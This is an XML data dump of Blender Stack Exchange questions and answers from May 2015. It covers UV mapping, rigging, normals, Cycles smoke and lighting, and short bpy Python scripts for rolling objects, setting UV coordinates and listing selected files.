  <row Id="30668" PostTypeId="1" AcceptedAnswerId="30714" CreationDate="2015-05-09T22:38:58.463" Score="9" ViewCount="13556" Body="&lt;p&gt;I am trying to arrange multiple pieces of an outfit to fit onto the same texture. Some of these outfit pieces are already unwrapped before being imported to Blender, and so cannot be re-unwrapped as they have no seams. Some pieces have mesh caches on them, so they cannot be joined into other objects without destroying their vertex indices, and thus breaking their caches. Other objects are being unwrapped for the first time in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to properly arrange and optimize my UV islands, I need to be able to view all of these object's UV maps at the same time. I could export all their UV maps as images, arrange them in photoshop, then re-import that and align their UV maps to the image, but this is imprecise and inefficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My googling has turned up that the usual method is to join objects together, but I can't do that. Is there any other way I can work on multiple object's UV maps in blender at the same time?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2017-05-14T16:37:02.037" Title="Arrange UV maps of multiple objects without joining them" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30671" PostTypeId="2" ParentId="30667" CreationDate="2015-05-09T23:15:32.217" Score="3" Body="&lt;p&gt;It is likely that your normals are flipped. If you used the Mirror command, then it will have flipped them. To confirm if this is the problem, go into edit mode, open the N panel, and turn on Face Normals by checking the box under the Mesh Display tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the problem, then you can recalculate or flip your normals by selecting the mesh in edit mode and using the commands under Shading/UVs in the T panel.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-05-09T23:15:32.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30672" PostTypeId="1" CreationDate="2015-05-10T00:34:20.470" Score="3" ViewCount="165" Body="&lt;p&gt;I have a model which has been rigged for all of the body parts. However, the hair (which is a seperate model from the rest, meaning it can't be a mess up from that) has a couple vertices that decide to just stay there when animating my object. Here is an example of what it is doing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://imgur.com/DK4j0hD.png&quot; alt=&quot;Hair vertices staying in position&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Weight painting the hair&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Makes her hair fall from her head at end of animation&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Making the model one whole mesh&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yields same results, no effect whatsoever&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sorry if this is a duplicate, the other questions' answers did no help, as seen by what I have tried.&lt;/p&gt;&#xA;" OwnerUserId="14262" LastEditorUserId="14262" LastEditDate="2015-05-11T00:26:34.173" LastActivityDate="2016-06-26T00:02:50.837" Title="Some vertices stay in their position when rigged" Tags="&lt;objects&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30673" PostTypeId="2" ParentId="30574" CreationDate="2015-05-10T02:16:19.437" Score="4" Body="&lt;p&gt;The problem with combining Euler rotations from different axes is that the order of rotations is significant. For example, rotating along the y-axis then the x-axis is not equivalent to rotating along the x-axis then the y-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;i&gt;One way monkey looks to the right the other it points down&lt;/i&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/axZM0.gif&quot; alt=&quot;Difference between rotating along y-axis then x-axis and x-axis then y-axis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the final rotation is dependent upon the order of individual rotations, we are unable to absolutely determine the rotation from the x and y coordinates. However, if we assume that rotation only occurs perpendicular to displacement, we can approximate the appearance of an object rolling by rotating it when the location changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this approach, we store the object's previous position in order to calculate the difference in location. We create a rotation matrix with the magnitude for the angle and the normal as its axis. Then, we combine the rotation matrix and extract its Euler rotation. The script makes a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Operator.html#modal-execution&quot; rel=&quot;nofollow noreferrer&quot;&gt;modal operator&lt;/a&gt; which rolls the active object when it is called.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix, Vector&#xA;&#xA;class RollOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;transform.roll&quot;&#xA;    bl_label = &quot;Roll active object&quot;&#xA;&#xA;    def execute(self, context):&#xA;        dx = self.dx / 100&#xA;        dy = self.dy / 100&#xA;&#xA;        matrix = Matrix.Rotation((dx**2 + dy**2)**.5, 4, Vector((-dy, dx, 0)))&#xA;        matrix *= context.object.matrix_world&#xA;        context.object.rotation_euler = matrix.to_euler('XYZ')&#xA;        context.object.location.x += dx&#xA;        context.object.location.y += dy&#xA;        return {'FINISHED'}&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'MOUSEMOVE':  # Apply&#xA;            self.dx = event.mouse_x - event.mouse_prev_x&#xA;            self.dy = event.mouse_y - event.mouse_prev_y            &#xA;            self.execute(context)&#xA;        elif event.type == 'LEFTMOUSE':  # Confirm&#xA;            return {'FINISHED'}&#xA;        elif event.type in ('RIGHTMOUSE', 'ESC'):  # Cancel&#xA;            context.object.location = self.location&#xA;            context.object.rotation_euler = self.rotation_euler&#xA;            return {'CANCELLED'}&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        rotation = context.object.rotation_euler&#xA;        location = context.object.location&#xA;        self.location = location[0], location[1], location[2]&#xA;        self.rotation_euler = rotation[0], rotation[1], rotation[2]        &#xA;        self.dx = 0&#xA;        self.dy = 0        &#xA;        self.execute(context)&#xA;        context.window_manager.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;&#xA;bpy.utils.register_class(RollOperator)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After running the script, add a shortcut key to start it. This one used &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt; in the 3D View.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/okhzB.png&quot; alt=&quot;Shortcut key&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the operator, the monkey rolls as it moves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a7G6V.gif&quot; alt=&quot;Monkey rolling around&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-05-11T01:08:47.923" LastActivityDate="2015-05-11T01:08:47.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30674" PostTypeId="1" CreationDate="2015-05-10T03:18:54.620" Score="1" ViewCount="45" Body="&lt;p&gt;my character is not following a limit of rotation. see&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2XXet.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2SsVU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image i have a rotation constraint. its not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kind of got it working, but after adding the pole target, the knee doesnt bend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BRbV4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-05-10T03:41:49.413" LastActivityDate="2015-05-10T03:41:49.413" Title="Character bone not following constraint" Tags="&lt;bones&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30675" PostTypeId="2" ParentId="29268" CreationDate="2015-05-10T03:42:00.247" Score="5" Body="&lt;p&gt;When looking straight at a model, there must be visible curvature on the model for the normal map effect to be visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've illustrated this using several cubes and a 3D Viewport Matcap Normals' surface.  The view is top-down orthographic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube at the top-left is just a default cube with no bevel.  It is invisible to normal mapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top-right cube has only a very small bevel and it is barely visible in contrast to the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two bottom cubes were beveled enough so that the curvature across the top and side surfaces is clearly visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BJA7g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-13T05:55:38.793" LastActivityDate="2015-05-13T05:55:38.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30676" PostTypeId="2" ParentId="30380" CreationDate="2015-05-10T04:09:25.910" Score="3" Body="&lt;p&gt;There are several requirements for this to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i) There should be a texture node in the material that is baked to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) That texture node should not be used as input anywhere else(not even in a different material), it should not be attached to anything until you are comfortable with all of this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iii) The texture node that is being baked to must be selected.  An active node is highlighted with yellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iv)  When baking several objects that are joined and where each has it's own material: each material must have the same texture node that is being baked to.  As before, that node must be active(yellow) for all materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screen-capture that shows a node setup that will likely result in the error you describe.&lt;br&gt;&#xA;As mentioned in the comments above, there won't always be an error with Cycles Baking as of the current date. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/seZ1a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should fail because even though the bakeTo texture node is selected for output, it is also being used as input.  This can cause a circular reference error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simultaneously reading and writing to the same area of memory can cause the program to crash so Blender tries to prevent this with a warning.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-05-10T04:09:25.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30677" PostTypeId="1" AcceptedAnswerId="30679" CreationDate="2015-05-10T08:27:16.557" Score="8" ViewCount="8651" Body="&lt;p&gt;I got this UV map, and I want to set the position coordinates for all the four vertices to &lt;code&gt;x=0.5&lt;/code&gt; and &lt;code&gt;y=0.5&lt;/code&gt; &lt;em&gt;(in the center of the green pixel)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried to use &lt;code&gt;bpy.ops.transform.translate(value=(0,0,0))&lt;/code&gt;, but this moves the vertices relative to the current position. &lt;strong&gt;Is there a way to set specific coordinates/position for the UV vertices?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jDsYP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14265" LastEditorUserId="7777" LastEditDate="2019-06-21T11:14:12.423" LastActivityDate="2019-06-21T11:16:39.800" Title="Get/Set coordinates for UV vertices using Python" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="30678" PostTypeId="1" AcceptedAnswerId="30681" CreationDate="2015-05-10T08:55:31.180" Score="4" ViewCount="1694" Body="&lt;p&gt;Is there a way in bpy to get a list of all selected files from the file browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code, but it is only for the active file selection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selectedFile = ''&#xA;for screenArea in bpy.context.window.screen.areas:&#xA;   if screenArea.type == 'FILE_BROWSER':&#xA;        params = screenArea.spaces[0].params&#xA;        selectedFile = os.path.join(params.directory, params.filename)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2162" LastActivityDate="2020-10-16T18:37:16.073" Title="bpy/file browser: get selected file names" Tags="&lt;python&gt;&lt;file-browser&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30679" PostTypeId="2" ParentId="30677" CreationDate="2015-05-10T09:11:55.013" Score="12" Body="&lt;p&gt;The uv coordinates are stored in 'loops':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You set &lt;code&gt;ob.data.uv_layers.active.data[loop_index].uv = (0.5, 0.5)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how loops work here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Loops per face&#xA;for face in ob.data.polygons:&#xA;    for vert_idx, loop_idx in zip(face.vertices, face.loop_indices):&#xA;        uv_coords = ob.data.uv_layers.active.data[loop_idx].uv&#xA;        print(&quot;face idx: %i, vert idx: %i, uvs: %f, %f&quot; % (face.index, vert_idx, uv_coords.x, uv_coords.y))&#xA;&#xA;# Or just cycle all loops&#xA;for loop in ob.data.loops :&#xA;    uv_coords = ob.data.uv_layers.active.data[loop.index].uv&#xA;    print(uv_coords)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2019-06-21T11:16:39.800" LastActivityDate="2019-06-21T11:16:39.800" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30680" PostTypeId="2" ParentId="30666" CreationDate="2015-05-10T10:13:47.763" Score="2" Body="&lt;p&gt;The icon shows that there are shapekeys on that object. The name is normally set to &lt;code&gt;Key&lt;/code&gt; with a number suffix if that is already in use, but can be renamed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the outliner you can double click the name to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From python you can use &lt;code&gt;bpy.data.shape_keys[&quot;Hide.001&quot;].name = &quot;NewName&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-10T10:13:47.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30681" PostTypeId="2" ParentId="30678" CreationDate="2015-05-10T10:14:32.303" Score="4" Body="&lt;p&gt;If you take the TextEditor Templates -&gt; Python -&gt; Operator File Import&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add &lt;code&gt;from bpy.props import CollectionProperty&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;and add this special property  in the &lt;code&gt;ImportSomeData&lt;/code&gt; operator  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;inside the importer class&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ImportSomeData(Operator, ImportHelper):&#xA;&#xA;    # edit for brevity&#xA;&#xA;    filename_ext = &quot;.txt&quot;&#xA;    files = CollectionProperty(type=bpy.types.PropertyGroup)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then &lt;code&gt;self.files&lt;/code&gt;, with 3 files selected, gives you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;... &amp;lt;bpy_collection[3], IMPORT_TEST_OT_some_data.files&amp;gt;&#xA;&amp;gt;&amp;gt;&amp;gt; self.files[0]&#xA;... &amp;lt;bpy_struct, PropertyGroup(&quot;filename_mine2.txt&quot;)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to get the fullpath of those files you use the self.path dirname&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;dirname = os.path.dirname(self.filepath)&#xA;for f in self.files:&#xA;    print(os.path.join(dirname, f.name))&#xA;&#xA;.../home/zeffii/filename_mine2.txt&#xA;.../home/zeffii/record_label_ep2.txt&#xA;.../home/zeffii/splines.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-10T10:24:35.930" LastActivityDate="2015-05-10T10:24:35.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30682" PostTypeId="1" CreationDate="2015-05-10T10:18:49.213" Score="10" ViewCount="272" Body="&lt;p&gt;Is there way to avoid Blender doing this? Using Extrude Region (Vertex normals) or Extrude and than &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; does the same thing. Is there any chance this could be improved in case this is how it suppose to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f1y9v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14266" LastEditorUserId="2217" LastEditDate="2015-05-10T18:57:21.287" LastActivityDate="2015-05-10T18:57:21.287" Title="Extrude along normals issue" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30683" PostTypeId="2" ParentId="30682" CreationDate="2015-05-10T11:56:52.997" Score="13" Body="&lt;p&gt;When operating &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt;, you can enable &lt;em&gt;Even Thickness&lt;/em&gt; mode by holding &lt;kbd&gt;Alt&lt;/kbd&gt; or pressing &lt;kbd&gt;S&lt;/kbd&gt; once (see the tip on the 3D View header).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4jSRc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-05-10T12:02:18.853" LastActivityDate="2015-05-10T12:02:18.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30684" PostTypeId="2" ParentId="27190" CreationDate="2015-05-10T12:01:45.427" Score="9" Body="&lt;p&gt;This method takes time under one second if you have 20k materials object.&#xA;Select first your multimaterial object then object which has one material.&#xA;Click in material panel black arrow &gt; &quot;Copy material to Others&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cr3w0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7474" LastActivityDate="2015-05-10T12:01:45.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30685" PostTypeId="1" CreationDate="2015-05-10T12:06:26.667" Score="3" ViewCount="3167" Body="&lt;p&gt;I have this bone series&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vtQvW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and as you can see, the bone is bending nicely. however, i wanted a pole target, so i added one in front of the knee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;heres what happens now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rq2TK.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LX6IL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;its not bending, any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-05-10T12:24:06.743" LastActivityDate="2020-03-14T23:14:36.053" Title="Character bone not bending after adding pole target" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30686" PostTypeId="2" ParentId="27190" CreationDate="2015-05-10T12:15:32.423" Score="6" Body="&lt;p&gt;Quick? maybe use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.IDMaterials.html?highlight=materials.clear#bpy.types.IDMaterials.clear&quot; rel=&quot;noreferrer&quot;&gt;clear&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;&#xA;materials = obj.data.materials&#xA;materials.clear(1)   # 0 will crash, 1 will update as it goes along&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-12T06:07:58.490" LastActivityDate="2015-05-12T06:07:58.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30687" PostTypeId="2" ParentId="30627" CreationDate="2015-05-10T13:19:25.803" Score="2" Body="&lt;p&gt;I think your problem is that you select all edges which together constructs a face, thats not possible, you have to unselect one edge to Rip that face, but then its same than Split-command to face.&lt;/p&gt;&#xA;" OwnerUserId="7474" LastActivityDate="2015-05-10T13:19:25.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30689" PostTypeId="1" CreationDate="2015-05-10T14:39:41.870" Score="5" ViewCount="80" Body="&lt;p&gt;I am making a racing game, and on the small test track I created, when I play it, the cars sometimes just randomly hit something on the track.&lt;img src=&quot;https://i.stack.imgur.com/MuabF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing it to wireframe and found that blender had put in some edges for some reason.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iRaY4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why did it create these edges? Is there any way to stop blender from doing this? This is what it looks like before you play the game.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nobD5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13990" LastActivityDate="2015-05-10T21:33:12.310" Title="Spontaneous generating edges?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30690" PostTypeId="1" CreationDate="2015-05-10T16:07:07.153" Score="1" ViewCount="571" Body="&lt;p&gt;I have a .fbx file with many multitrack animations, and after importing it into Blender, only the first one shows up in timeline. When i import it to Unity, all the animations are there, so the file is OK. Is it possible to get these animations to Blender somehow? Maybe there is some software to convert this fbx into single track, and then import to Blender?&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2015-05-10T16:07:07.153" Title="How to import FBX with multitrack (multi take) animations?" Tags="&lt;animation&gt;&lt;import&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30691" PostTypeId="2" ParentId="30689" CreationDate="2015-05-10T17:32:31.347" Score="4" Body="&lt;p&gt;That's the result of Triangulation of NGons in the game engine, it doesn't effect the original geometry.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/quI3i.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;in game mode&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UBQDa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Back out of Game Engine, the geometry is not changed. If it bothers you the solution is to make the geometry without NGons in the first place. This means cutting up the NGon into triangles or quadrangles. A fast way to convert an NGon to the elementary polygon types is:&lt;/p&gt;&#xA;&lt;h3&gt;Ngon to Tris&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;in edit mode&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;select the ngon&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;t&lt;/kbd&gt; (this creates Triangles)&lt;/p&gt;&#xA;&lt;p&gt;should generate something like this&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JoToO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Tris to Quads&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With a set of Triangles selected press &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;j&lt;/kbd&gt; , and blender will try to make quads from the geometry.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Sometimes it isn't possible to convert all selected Triangles into a set of Quads. invariably there will be times when the algorithm leaves a few Triangles, even though geometrically it would be possible to neatly Quadify all selected geometry. This is not a bug (really, we could argue about this), but rather a limitation in the algorithm.&lt;/p&gt;&#xA;&lt;p&gt;this might produce geometry like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TMFWW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The algorithms that do this don't have the benefit of our eyes and brains, to make the best decisions. Sometimes you have to do the tessellation yourself&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wvnZj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-10T21:33:12.310" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30694" PostTypeId="2" ParentId="30579" CreationDate="2015-05-10T18:55:38.150" Score="9" Body="&lt;p&gt;Smoke rendering in Cycles still has a few tricks:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1-&lt;/strong&gt; Quick smoke should have created some default shaders for the &lt;strong&gt;Smoke Domain&lt;/strong&gt;, make sure they are there, if not recreate them like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WOyVz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that the attributes are written in &lt;strong&gt;lowercase&lt;/strong&gt;. Using uppercase will make the materials fail&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2- As of version 2.77 Smoke can be rendered using GPU&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For &lt;strong&gt;blender versions prior to 2.77&lt;/strong&gt; you can only use CPU rendering to be able to see the smoke in render view and in the final render.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JFncW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O4sTq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Rendered Image:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EyBIo.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For a detailed description of nodes for Fire+Smoke on cycles read: &lt;a href=&quot;https://blender.stackexchange.com/a/24424/1853&quot;&gt;Rendering smoke in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-07-04T22:58:08.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30695" PostTypeId="1" AcceptedAnswerId="30697" CreationDate="2015-05-10T19:07:42.153" Score="5" ViewCount="1734" Body="&lt;p&gt;I'm trying to set up a night scene, and having trouble getting the lighting right. Here's my first stab at it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rhapo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the lighting on the tree, but the cloak on the left is too dark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wondered about splitting the scene into two render layers, kind of like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qboPS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OA0ZR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I could adjust the levels of the cloak in the compositor, but I can't figure out how to recombine the layers. Similarly, I tried adding extra lights to the cloak layer, but that interferes with the volumetric effect in an undesirable way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good way to light the cloak, without affecting the rest of the scene?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2018-07-09T18:36:10.613" Title="Lighting specific objects in cycles with volumetric atmosphere" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
